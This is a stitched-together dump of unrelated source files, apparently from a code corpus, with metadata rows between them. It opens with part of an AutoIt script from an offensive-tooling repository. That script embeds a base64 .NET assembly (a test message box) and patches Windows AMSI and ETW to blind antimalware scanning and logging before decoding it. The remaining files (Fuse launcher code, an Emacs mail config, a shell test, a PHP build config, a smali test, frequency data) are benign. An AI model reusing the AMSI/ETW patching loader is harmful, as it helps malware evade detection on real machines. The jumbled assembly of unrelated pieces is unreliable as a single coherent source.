$Base64Assembly &= 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAAbGXf0AAAAAAAAAAOAAIgALATAAAAgAAAAIAAAAAAAA8icAAAAgAAAAQAAAAABAAAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACAAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAKAnAABPAAAAAEAAANwFAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAADcJgAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAA+AcAAAAgAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAANwFAAAAQAAAAAYAAAAKAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAEAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAADUJwAAAAAAAEgAAAACAAUAcCAAAGwGAAADAAIAAgAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF5+DwAACnIBAABwci8AAHAWKAEAAAYmKh4CKBAAAAoqQlNKQgEAAQAAAAAADAAAAHY0LjAuMzAzMTkAAAAABQBsAAAABAIAACN+AABwAgAAjAIAACNTdHJpbmdzAAAAAPwEAABIAAAAI1VTAEQFAAAQAAAAI0dVSUQAAABUBQAAGAEAACNCbG9iAAAAAAAAAAIAAAFHFQAUCQAAAAD6'
$Base64Assembly &= 'ATMAFgAAAQAAABEAAAACAAAAAwAAAAUAAAAQAAAADgAAAAEAAAABAAAAAQAAAAEAAAAAAIMBAQAAAAAABgD4AC8CBgBlAS8CBgAsAP0BDwBPAgAABgBUAM8BBgDbAM8BBgC8AM8BBgBMAc8BBgAYAc8BBgAxAc8BBgBrAM8BBgBAABACBgAeABACBgCfAM8BBgCGAJYBBgBjAsMBBgD2AcMBAAAAAAEAAAAAAAEAAQAAABAAuwFqAkEAAQABAAAAAACAAJEggAImAAEAUCAAAAAAlgDKAS4ABQBoIAAAAACGGPABBgAGAAAAAQATAAAAAgB5AgAAAwDhAQAABAAYAAAAAQBeAgkA8AEBABEA8AEGABkA8AEKACkA8AEQADEA8AEQADkA8AEQAEEA8AEQAEkA8AEQAFEA8AEQAFkA8AEQAGEA8AEVAGkA8AEQAHEA8AEQAHkA8AEQAIkA6wEaAIEA8AEGAC4ACwA0AC4AEwA9AC4AGwBcAC4AIwBlAC4AKwB5AC4AMwB5AC4AOwB5AC4AQwBlAC4ASwB/AC4AUwB5AC4AWwB5AC4AYwCXAC4AawDBAC4AcwDOALABRAEDAIACAQAEgAAAAQAAAAAAAAAAAAAAAABqAgAABAAAAAAAAAAAAAAAHQAKAAAAAAAAAAAAADxNb2R1bGU+AG1zY29ybGliAGhXbmQAdVR5cGUAR3VpZEF0dHJpYnV0ZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAENvbVZpc2libGVBdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFya0F0dHJpYnV0ZQBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBDb21w'
$Base64Assembly &= 'aWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUATWVzc2FnZUJveFRlc3QuZXhlAFN5c3RlbS5SdW50aW1lLlZlcnNpb25pbmcAdXNlcjMyLmRsbABQcm9ncmFtAFN5c3RlbQBNYWluAFN5c3RlbS5SZWZsZWN0aW9uAGxwQ2FwdGlvbgBaZXJvAC5jdG9yAEludFB0cgBTeXN0ZW0uRGlhZ25vc3RpY3MAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMARGVidWdnaW5nTW9kZXMAYXJncwBPYmplY3QATWVzc2FnZUJveFRlc3QAbHBUZXh0AE1lc3NhZ2VCb3gAAAAtRwByAGUAZQB0AGkAbgBnAHMAIABmAHIAbwBtACAALgBOAEUAVAAgADoAKQAAFUgAZQB5ACAAdABoAGUAcgBlACEAAAAAAGNsYQzBD1FNswu68qXi9QsABCABAQgDIAABBSABARERBCABAQ4EIAEBAgIGGAi3elxWGTTgiQcABAgYDg4JBQABAR0OCAEACAAAAAAAHgEAAQBUAhZXcmFwTm9uRXhjZXB0aW9uVGhyb3dzAQgBAAIAAAAAABMBAA5NZXNzYWdlQm94VGVzdAAABQEAAAAAFwEAEkNvcHlyaWdodCDCqSAgMjAyMQAAKQEAJDI1MjQ5NDU1LWJiZmItNDVhYy05M2YyLTRiZGQ5OTUwZDE4MwAADAEABzEuMC4wLjAAAEkBABouTkVURnJhbWV3b3JrLFZlcnNpb249djQuNQEAVA4URnJhbWV3b3JrRGlzcGxheU5hbWUS'
$Base64Assembly &= 'Lk5FVCBGcmFtZXdvcmsgNC41AAAAAFXmrYwAAAAAAgAAAIwAAAAUJwAAFAkAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAABSU0RT6eqU47irBEW4KJiwMxko9QEAAABDOlxSZWFwZXJcUGVldmVzXEF1dG9JdFxBdXRvSXQtUmVwb1xUcmFkZWNyYWZ0XFZTLVJlcG9cTWVzc2FnZUJveFRlc3RcTWVzc2FnZUJveFRlc3Rcb2JqXFJlbGVhc2VcTWVzc2FnZUJveFRlc3QucGRiAMgnAAAAAAAAAAAAAOInAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAADUJwAAAAAAAAAAAAAAAF9Db3JFeGVNYWluAG1zY29yZWUuZGxsAAAAAAD/JQAgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAQAAAAIAAAgBgAAABQAACAAAAAAAAAAAAAAAAAAAABAAEAAAA4AACAAAAAAAAAAAAAAAAAAAABAAAAAACAAAAAAAAAAAAAAAAAAAAAAAABAAEAAABoAACAAAAAAAAAAAAAAAAAAAABAAAAAADcAwAAkEAAAEwDAAAAAAAAAAAAAEwDNAAAAFYAUwBfAFYARQBSAFMASQBPAE4AXwBJAE4ARgBPAAAAAAC9BO/+AAABAAAAAQAAAAAAAAABAAAAAAA/AAAAAAAAAAQAAAABAAAAAAAAAAAAAAAAAAAARAAAAAEAVgBhAHIARgBpAGwAZQBJAG4AZgBvAAAAAAAkAAQAAABUAHIAYQBuAHMAbABhAHQAaQBvAG4AAAAAAAAAsASsAgAAAQBTAHQAcgBpAG4AZwBGAGkAbABlAEkAbgBmAG8AAACIAgAAAQAwADAAMAAwADAANABiADAAAAAaAAEAAQBDAG8AbQBtAGUAbgB0AHMAAAAAAAAAIgABAAEAQwBvAG0AcABhAG4AeQBOAGEAbQBlAAAAAAAAAAAARgAPAAEARgBpAGwA'
$Base64Assembly &= 'ZQBEAGUAcwBjAHIAaQBwAHQAaQBvAG4AAAAAAE0AZQBzAHMAYQBnAGUAQgBvAHgAVABlAHMAdAAAAAAAMAAIAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAxAC4AMAAuADAALgAwAAAARgATAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABNAGUAcwBzAGEAZwBlAEIAbwB4AFQAZQBzAHQALgBlAHgAZQAAAAAASAASAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAQwBvAHAAeQByAGkAZwBoAHQAIACpACAAIAAyADAAMgAxAAAAKgABAAEATABlAGcAYQBsAFQAcgBhAGQAZQBtAGEAcgBrAHMAAAAAAAAAAABOABMAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAATQBlAHMAcwBhAGcAZQBCAG8AeABUAGUAcwB0AC4AZQB4AGUAAAAAAD4ADwABAFAAcgBvAGQAdQBjAHQATgBhAG0AZQAAAAAATQBlAHMAcwBhAGcAZQBCAG8AeABUAGUAcwB0AAAAAAA0AAgAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAAxAC4AMAAuADAALgAwAAAAOAAIAAEAQQBzAHMAZQBtAGIAbAB5ACAAVgBlAHIAcwBpAG8AbgAAADEALgAwAC4AMAAuADAAAADsQwAA6gEAAAAAAAAAAAAA77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9InllcyI/Pg0KDQo8YXNzZW1ibHkgeG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYxIiBtYW5pZmVzdFZlcnNpb249IjEuMCI+DQogIDxhc3NlbWJseUlkZW50aXR5IHZlcnNpb249IjEuMC4wLjAiIG5hbWU9Ik15QXBw'
$Base64Assembly &= 'bGljYXRpb24uYXBwIi8+DQogIDx0cnVzdEluZm8geG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYyIj4NCiAgICA8c2VjdXJpdHk+DQogICAgICA8cmVxdWVzdGVkUHJpdmlsZWdlcyB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjMiPg0KICAgICAgICA8cmVxdWVzdGVkRXhlY3V0aW9uTGV2ZWwgbGV2ZWw9ImFzSW52b2tlciIgdWlBY2Nlc3M9ImZhbHNlIi8+DQogICAgICA8L3JlcXVlc3RlZFByaXZpbGVnZXM+DQogICAgPC9zZWN1cml0eT4NCiAgPC90cnVzdEluZm8+DQo8L2Fzc2VtYmx5PgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAMAAAA9DcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
$Base64Assembly &= 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
; Patch AMSI & ETW before decoding our assenbly
_PatchAMSI()
_PatchETW()
; Decode assembly
Local $bString = _WinAPI_Base64Decode($Base64Assembly)
If @error Then Return SetError(1, 0, 0)
$bString = Binary($bString)
If $bSaveBinary Then
Local Const $hFile = FileOpen($sSavePath & "\decodedB64Assembly.exe", 18)
If @error Then Return SetError(2, 0, $bString)
FileWrite($hFile, $bString)
FileClose($hFile)
EndIf
Return $bString
EndFunc ;==>_Base64String()
#cs ----------------------------------------------------------------------------
Util functions:
_WinAPI_Base64Decode()
#ce ----------------------------------------------------------------------------
Func _WinAPI_Base64Decode($sB64String)
Local $aCrypt = DllCall("Crypt32.dll", "bool", "CryptStringToBinaryA", "str", $sB64String, "dword", 0, "dword", 1, "ptr", 0, "dword*", 0, "ptr", 0, "ptr", 0)
If @error Or Not $aCrypt[0] Then Return SetError(1, 0, "")
Local $bBuffer = DllStructCreate("byte[" & $aCrypt[5] & "]")
$aCrypt = DllCall("Crypt32.dll", "bool", "CryptStringToBinaryA", "str", $sB64String, "dword", 0, "dword", 1, "struct*", $bBuffer, "dword*", $aCrypt[5], "ptr", 0, "ptr", 0)
If @error Or Not $aCrypt[0] Then Return SetError(2, 0, "")
Return DllStructGetData($bBuffer, 1)
EndFunc ;==>_WinAPI_Base64Decode()
| AutoIt | 4 | ohio813/OffensiveAutoIt | Execution/ExecuteAssembly/ExecuteAssembly.au3 | [
"BSD-2-Clause"
] |
using Uno;
namespace Fuse.Triggers.Actions
{
/** Launch the default map app
You'll find this trigger action in the Fuse.Launcher package, which have to be referenced from your uno project.
For example:
```json
{
"Packages": [
"Fuse",
"FuseJS",
"Fuse.Launcher"
]
}
```
## Example
```xml
<StackPanel Margin="20">
<Button Margin="10" Text="Launch InApp Browser">
<Clicked>
<LaunchInAppBrowser Url="https://fuseopen.com" />
</Clicked>
</Button>
</StackPanel>
```
*/
public class LaunchInAppBrowser : TriggerAction
{
public string Url {get; set;}
protected override void Perform(Node target)
{
Fuse.LauncherImpl.InAppBrowserLauncher.LaunchInAppBrowser(Url);
}
}
}
| Uno | 4 | fusetools/fuselibs-public | Source/Fuse.Launcher.InAppBrowser/Trigger.uno | [
"MIT"
] |
;;; email/notmuch/autoload.el -*- lexical-binding: t; -*-
;;;###autoload
(defun =notmuch ()
"Activate (or switch to) `notmuch' in its workspace."
(interactive)
(condition-case-unless-debug e
(progn
(when (featurep! :ui workspaces)
(+workspace-switch "*MAIL*" t))
(if-let* ((buf (cl-find-if (lambda (it) (string-match-p "^\\*notmuch" (buffer-name (window-buffer it))))
(doom-visible-windows))))
(select-window (get-buffer-window buf))
(funcall +notmuch-home-function))
(when (featurep! :ui workspaces)
(+workspace/display)))
('error
(+notmuch/quit)
(signal (car e) (cdr e)))))
;;
;; Commands
;;;###autoload
(defun +notmuch/quit ()
"TODO"
(interactive)
;; (+popup/close (get-buffer-window "*notmuch-hello*"))
(doom-kill-matching-buffers "^\\*notmuch")
(when (featurep! :ui workspaces)
(+workspace/delete "*MAIL*")))
(defun +notmuch-get-sync-command ()
"Return a shell command string to synchronize your notmuch mmail with."
(let* ((afew-cmd "afew -a -t")
(sync-cmd
(pcase +notmuch-sync-backend
(`gmi
(concat "cd " +notmuch-mail-folder " && gmi sync && notmuch new"))
((or `mbsync
`mbsync-xdg) ; DEPRECATED `mbsync-xdg' is now just `mbsync'
(format "mbsync %s -a && notmuch new"
(if-let (config-file
(doom-glob (or (getenv "XDG_CONFIG_HOME")
"~/.config")
"isync/mbsyncrc"))
(format "-c %S" (car config-file))
"")))
(`offlineimap
"offlineimap && notmuch new")
((and (pred stringp) it) it)
(_ (user-error "Invalid notmuch backend specified: %S"
+notmuch-sync-backend)))))
(if (featurep! +afew)
(format "%s && %s" sync-cmd afew-cmd)
sync-cmd)))
;;;###autoload
(defun +notmuch/update ()
"Sync notmuch emails with server."
(interactive)
(with-current-buffer (compile (+notmuch-get-sync-command))
(add-hook
'compilation-finish-functions
(lambda (buf status)
(if (equal status "finished\n")
(progn
(kill-buffer buf)
(notmuch-refresh-all-buffers)
(message "Notmuch sync successful"))
(user-error "Failed to sync notmuch data")))
nil
'local)))
;;;###autoload
(defun +notmuch/search-delete ()
(interactive)
(notmuch-search-add-tag (list "+trash" "-inbox" "-unread"))
(notmuch-tree-next-message))
;;;###autoload
(defun +notmuch/tree-delete ()
(interactive)
(notmuch-tree-add-tag (list "+trash" "-inbox" "-unread"))
(notmuch-tree-next-message))
;;;###autoload
(defun +notmuch/show-delete ()
"Mark email for deletion in notmuch-show"
(interactive)
(notmuch-show-add-tag (list "+trash" "-inbox" "-unread"))
(notmuch-show-next-thread-show))
;;;###autoload
(defun +notmuch/search-spam ()
(interactive)
(notmuch-search-add-tag (list "+spam" "-inbox" "-unread"))
(notmuch-search-next-thread))
;;;###autoload
(defun +notmuch/tree-spam ()
(interactive)
(notmuch-tree-add-tag (list "+spam" "-inbox" "-unread"))
(notmuch-tree-next-message))
;;;###autoload
(defun +notmuch/compose ()
"Compose new mail"
(interactive)
(notmuch-mua-mail
nil
nil
(list (cons 'From (completing-read "From: " (notmuch-user-emails))))))
;;;###autoload
(defun +notmuch/open-message-with-mail-app-notmuch-tree ()
(interactive)
(let* ((msg-path (car (plist-get (notmuch-tree-get-message-properties) :filename)))
(temp (make-temp-file "notmuch-message-" nil ".eml")))
(doom-call-process "cp" msg-path temp)
(start-process-shell-command "email" nil (format "xdg-open '%s'" temp))))
;;;###autoload
(defun +notmuch/open-message-with-mail-app-notmuch-show ()
(interactive)
(let* ((msg-path (car (plist-get (notmuch-show-get-message-properties) :filename)))
(temp (make-temp-file "notmuch-message-" nil ".eml")))
(doom-call-process "cp" msg-path temp)
(start-process-shell-command "email" nil (format "xdg-open '%s'" temp))))
;;;###autoload
(defun +notmuch/show-filter-thread ()
"Show the current thread with a different filter"
(interactive)
(setq notmuch-show-query-context (notmuch-read-query "Filter thread: "))
(notmuch-show-refresh-view t))
;;;###autoload
(defun +notmuch-show-expand-only-unread-h ()
(interactive)
(let ((unread nil)
(open (notmuch-show-get-message-ids-for-open-messages)))
(notmuch-show-mapc (lambda ()
(when (member "unread" (notmuch-show-get-tags))
(setq unread t))))
(when unread
(let ((notmuch-show-hook (remove '+notmuch-show-expand-only-unread-h notmuch-show-hook)))
(notmuch-show-filter-thread "tag:unread")))))
;;
;; Advice
;;;###autoload
(defun +notmuch-dont-confirm-on-kill-process-a (fn &rest args)
"Don't prompt for confirmation when killing notmuch sentinel."
(let (confirm-kill-processes)
(apply fn args)))
| Emacs Lisp | 4 | game-loader/own_doom | modules/email/notmuch/autoload.el | [
"MIT"
] |
. "$(dirname "$0")/functions.sh"
setup
install
cat > index.js << EOL
process.env.PATH = ''
require('husky').install()
EOL
expect 0 "node index.js"
| Shell | 2 | david-tomson/husky | test/6_git_command_not_found.sh | [
"MIT"
] |
PHP_ARG_WITH([xsl],
[whether to build with XSL support],
[AS_HELP_STRING([--with-xsl],
[Build with XSL support])])
if test "$PHP_XSL" != "no"; then
if test "$PHP_LIBXML" = "no"; then
AC_MSG_ERROR([XSL extension requires LIBXML extension, add --with-libxml])
fi
if test "$PHP_DOM" = "no"; then
AC_MSG_ERROR([XSL extension requires DOM extension, add --enable-dom])
fi
PKG_CHECK_MODULES([XSL], [libxslt >= 1.1.0])
PHP_EVAL_INCLINE($XSL_CFLAGS)
PHP_EVAL_LIBLINE($XSL_LIBS, XSL_SHARED_LIBADD)
PKG_CHECK_MODULES([EXSLT], [libexslt],
[
PHP_EVAL_INCLINE($EXSLT_CFLAGS)
PHP_EVAL_LIBLINE($EXSLT_LIBS, XSL_SHARED_LIBADD)
AC_DEFINE(HAVE_XSL_EXSLT, 1, [ ])
], [ ])
AC_DEFINE(HAVE_XSL,1,[ ])
PHP_NEW_EXTENSION(xsl, php_xsl.c xsltprocessor.c, $ext_shared)
PHP_SUBST(XSL_SHARED_LIBADD)
PHP_ADD_EXTENSION_DEP(xsl, libxml)
fi
| M4 | 4 | thiagooak/php-src | ext/xsl/config.m4 | [
"PHP-3.01"
] |
.class public final enum Lenums/TestEnumsWithStaticFields;
.super Ljava/lang/Enum;
.source "SourceFile"
# interfaces
.implements Lx/a/c;
# annotations
.annotation system Ldalvik/annotation/MemberClasses;
value = {
Lx/a/d$a;
}
.end annotation
.annotation system Ldalvik/annotation/Signature;
value = {
"Ljava/lang/Enum",
"<",
"Lenums/TestEnumsWithStaticFields;",
">;",
"Lx/a/c;"
}
.end annotation
# static fields
.field public static final enum sA:Lenums/TestEnumsWithStaticFields;
.field private static sB:Lx/a/c;
.field private static final synthetic sC:[Lenums/TestEnumsWithStaticFields;
# direct methods
.method static constructor <clinit>()V
.registers 4
.prologue
const v3, 0x23900
const/4 v2, 0x0
invoke-static {v3}, Lx/q;->i(I)V
.line 10
new-instance v0, Lenums/TestEnumsWithStaticFields;
const-string/jumbo v1, "INSTANCE"
invoke-direct {v0, v1}, Lenums/TestEnumsWithStaticFields;-><init>(Ljava/lang/String;)V
sput-object v0, Lenums/TestEnumsWithStaticFields;->sA:Lenums/TestEnumsWithStaticFields;
.line 9
const/4 v0, 0x1
new-array v0, v0, [Lenums/TestEnumsWithStaticFields;
sget-object v1, Lenums/TestEnumsWithStaticFields;->sA:Lenums/TestEnumsWithStaticFields;
aput-object v1, v0, v2
sput-object v0, Lenums/TestEnumsWithStaticFields;->sC:[Lenums/TestEnumsWithStaticFields;
.line 36
new-instance v0, Lx/a/d$a;
invoke-direct {v0, v2}, Lx/a/d$a;-><init>(B)V
sput-object v0, Lenums/TestEnumsWithStaticFields;->sB:Lx/a/c;
invoke-static {v3}, Lx/q;->o(I)V
return-void
.end method
.method private constructor <init>(Ljava/lang/String;)V
.registers 3
.annotation system Ldalvik/annotation/Signature;
value = {
"()V"
}
.end annotation
.prologue
.line 9
const/4 v0, 0x0
invoke-direct {p0, p1, v0}, Ljava/lang/Enum;-><init>(Ljava/lang/String;I)V
return-void
.end method
.method public static a(Lx/a/c;)V
.registers 1
.prologue
.line 79
if-eqz p0, :cond_4
.line 80
sput-object p0, Lenums/TestEnumsWithStaticFields;->sB:Lx/a/c;
.line 82
:cond_4
return-void
.end method
.method public static valueOf(Ljava/lang/String;)Lenums/TestEnumsWithStaticFields;
.registers 3
.prologue
const v1, 0x238f8
invoke-static {v1}, Lx/q;->i(I)V
.line 9
const-class v0, Lenums/TestEnumsWithStaticFields;
invoke-static {v0, p0}, Ljava/lang/Enum;->valueOf(Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/Enum;
move-result-object v0
check-cast v0, Lenums/TestEnumsWithStaticFields;
invoke-static {v1}, Lx/q;->o(I)V
return-object v0
.end method
.method public static values()[Lenums/TestEnumsWithStaticFields;
.registers 2
.prologue
const v1, 0x238f7
invoke-static {v1}, Lx/q;->i(I)V
.line 9
sget-object v0, Lenums/TestEnumsWithStaticFields;->sC:[Lenums/TestEnumsWithStaticFields;
invoke-virtual {v0}, [Lenums/TestEnumsWithStaticFields;->clone()Ljava/lang/Object;
move-result-object v0
check-cast v0, [Lenums/TestEnumsWithStaticFields;
invoke-static {v1}, Lx/q;->o(I)V
return-object v0
.end method
# virtual methods
.method public final FR(I)V
.registers 4
.prologue
const v1, 0x238fb
invoke-static {v1}, Lx/q;->i(I)V
.line 96
sget-object v0, Lenums/TestEnumsWithStaticFields;->sB:Lx/a/c;
invoke-interface {v0, p1}, Lx/a/c;->FR(I)V
.line 97
invoke-static {v1}, Lx/q;->o(I)V
return-void
.end method
| Smali | 3 | mazhidong/jadx | jadx-core/src/test/smali/enums/TestEnumsWithStaticFields.smali | [
"Apache-2.0"
] |
frequency,raw
20.00,10.97
20.20,10.97
20.40,10.97
20.61,10.97
20.81,10.97
21.02,10.97
21.23,10.97
21.44,10.97
21.66,10.97
21.87,10.97
22.09,10.97
22.31,10.97
22.54,10.97
22.76,10.97
22.99,10.97
23.22,10.97
23.45,10.97
23.69,10.97
23.92,10.97
24.16,10.97
24.40,10.97
24.65,10.97
24.89,10.97
25.14,10.97
25.39,10.97
25.65,10.97
25.91,10.97
26.16,10.97
26.43,10.97
26.69,10.97
26.96,10.97
27.23,10.97
27.50,10.97
27.77,10.97
28.05,10.97
28.33,10.97
28.62,10.97
28.90,10.97
29.19,10.97
29.48,10.97
29.78,10.97
30.08,10.97
30.38,10.97
30.68,10.97
30.99,10.97
31.30,10.97
31.61,10.97
31.93,10.97
32.24,10.97
32.57,10.97
32.89,10.97
33.22,10.97
33.55,10.97
33.89,10.97
34.23,10.97
34.57,10.97
34.92,10.97
35.27,10.91
35.62,10.83
35.97,10.75
36.33,10.74
36.70,10.74
37.06,10.74
37.43,10.74
37.81,10.74
38.19,10.74
38.57,10.74
38.95,10.74
39.34,10.74
39.74,10.74
40.14,10.74
40.54,10.74
40.94,10.74
41.35,10.74
41.76,10.74
42.18,10.74
42.60,10.74
43.03,10.74
43.46,10.74
43.90,10.74
44.33,10.74
44.78,10.74
45.23,10.74
45.68,10.74
46.13,10.74
46.60,10.74
47.06,10.74
47.53,10.74
48.01,10.74
48.49,10.74
48.97,10.74
49.46,10.74
49.96,10.74
50.46,10.74
50.96,10.74
51.47,10.74
51.99,10.74
52.51,10.74
53.03,10.74
53.56,10.74
54.10,10.74
54.64,10.74
55.18,10.74
55.74,10.74
56.29,10.74
56.86,10.74
57.42,10.64
58.00,10.51
58.58,10.51
59.16,10.51
59.76,10.51
60.35,10.51
60.96,10.51
61.57,10.51
62.18,10.51
62.80,10.51
63.43,10.51
64.07,10.51
64.71,10.51
65.35,10.51
66.01,10.51
66.67,10.51
67.33,10.51
68.01,10.51
68.69,10.51
69.37,10.51
70.07,10.51
70.77,10.51
71.48,10.51
72.19,10.51
72.91,10.51
73.64,10.36
74.38,10.28
75.12,10.28
75.87,10.28
76.63,10.28
77.40,10.28
78.17,10.28
78.95,10.28
79.74,10.28
80.54,10.28
81.35,10.28
82.16,10.28
82.98,10.28
83.81,10.28
84.65,10.28
85.50,10.28
86.35,10.28
87.22,10.23
88.09,10.05
88.97,10.05
89.86,10.05
90.76,10.05
91.66,10.05
92.58,10.05
93.51,10.05
94.44,10.05
95.39,10.05
96.34,10.05
97.30,10.05
98.28,10.05
99.26,9.99
100.25,9.83
101.25,9.83
102.27,9.83
103.29,9.83
104.32,9.83
105.37,9.83
106.42,9.83
107.48,9.83
108.56,9.83
109.64,9.83
110.74,9.83
111.85,9.83
112.97,9.80
114.10,9.60
115.24,9.60
116.39,9.60
117.55,9.60
118.73,9.60
119.92,9.60
121.12,9.60
122.33,9.60
123.55,9.50
124.79,9.38
126.03,9.37
127.29,9.37
128.57,9.37
129.85,9.37
131.15,9.37
132.46,9.37
133.79,9.23
135.12,9.14
136.48,9.14
137.84,9.14
139.22,9.14
140.61,9.14
142.02,9.14
143.44,9.14
144.87,9.14
146.32,8.99
147.78,8.91
149.26,8.91
150.75,8.91
152.26,8.91
153.78,8.91
155.32,8.91
156.88,8.90
158.44,8.75
160.03,8.69
161.63,8.69
163.24,8.69
164.88,8.69
166.53,8.65
168.19,8.53
169.87,8.46
171.57,8.46
173.29,8.46
175.02,8.46
176.77,8.46
178.54,8.28
180.32,8.23
182.13,8.23
183.95,8.23
185.79,8.23
187.65,8.23
189.52,8.05
191.42,8.00
193.33,8.00
195.27,8.00
197.22,8.00
199.19,7.99
201.18,7.87
203.19,7.78
205.23,7.78
207.28,7.78
209.35,7.78
211.44,7.65
213.56,7.56
215.69,7.55
217.85,7.55
220.03,7.55
222.23,7.55
224.45,7.44
226.70,7.33
228.96,7.32
231.25,7.32
233.57,7.29
235.90,7.10
238.26,7.09
240.64,7.09
243.05,7.09
245.48,6.93
247.93,6.86
250.41,6.86
252.92,6.86
255.45,6.86
258.00,6.86
260.58,6.72
263.19,6.65
265.82,6.64
268.48,6.64
271.16,6.64
273.87,6.55
276.61,6.43
279.38,6.41
282.17,6.24
284.99,6.18
287.84,6.18
290.72,6.18
293.63,6.07
296.57,5.96
299.53,5.95
302.53,5.95
305.55,5.95
308.61,5.89
311.69,5.74
314.81,5.72
317.96,5.72
321.14,5.71
324.35,5.55
327.59,5.50
330.87,5.50
334.18,5.50
337.52,5.37
340.90,5.29
344.30,5.27
347.75,5.27
351.23,5.27
354.74,5.17
358.28,5.06
361.87,5.04
365.49,5.04
369.14,5.02
372.83,4.87
376.56,4.81
380.33,4.81
384.13,4.81
387.97,4.66
391.85,4.59
395.77,4.58
399.73,4.58
403.72,4.50
407.76,4.39
411.84,4.36
415.96,4.36
420.12,4.18
424.32,4.13
428.56,4.13
432.85,4.13
437.18,4.02
441.55,3.93
445.96,3.90
450.42,3.90
454.93,3.90
459.48,3.85
464.07,3.70
468.71,3.67
473.40,3.67
478.13,3.67
482.91,3.49
487.74,3.44
492.62,3.44
497.55,3.44
502.52,3.31
507.55,3.23
512.62,3.22
517.75,3.18
522.93,3.03
528.16,2.99
533.44,2.99
538.77,2.99
544.16,2.99
549.60,2.97
555.10,2.80
560.65,2.76
566.25,2.76
571.92,2.76
577.64,2.61
583.41,2.54
589.25,2.53
595.14,2.53
601.09,2.47
607.10,2.32
613.17,2.30
619.30,2.30
625.50,2.30
631.75,2.30
638.07,2.26
644.45,2.12
650.89,2.08
657.40,2.08
663.98,2.08
670.62,2.08
677.32,2.08
684.10,2.08
690.94,2.08
697.85,2.08
704.83,1.94
711.87,1.86
718.99,1.85
726.18,1.85
733.44,1.85
740.78,1.85
748.19,1.85
755.67,1.85
763.23,1.85
770.86,1.85
778.57,1.85
786.35,1.85
794.22,1.85
802.16,1.85
810.18,1.85
818.28,1.85
826.46,1.85
834.73,1.85
843.08,1.76
851.51,1.64
860.02,1.48
868.62,1.15
877.31,0.66
886.08,0.06
894.94,-0.49
903.89,-1.02
912.93,-1.48
922.06,-1.74
931.28,-1.80
940.59,-1.59
950.00,-1.34
959.50,-1.07
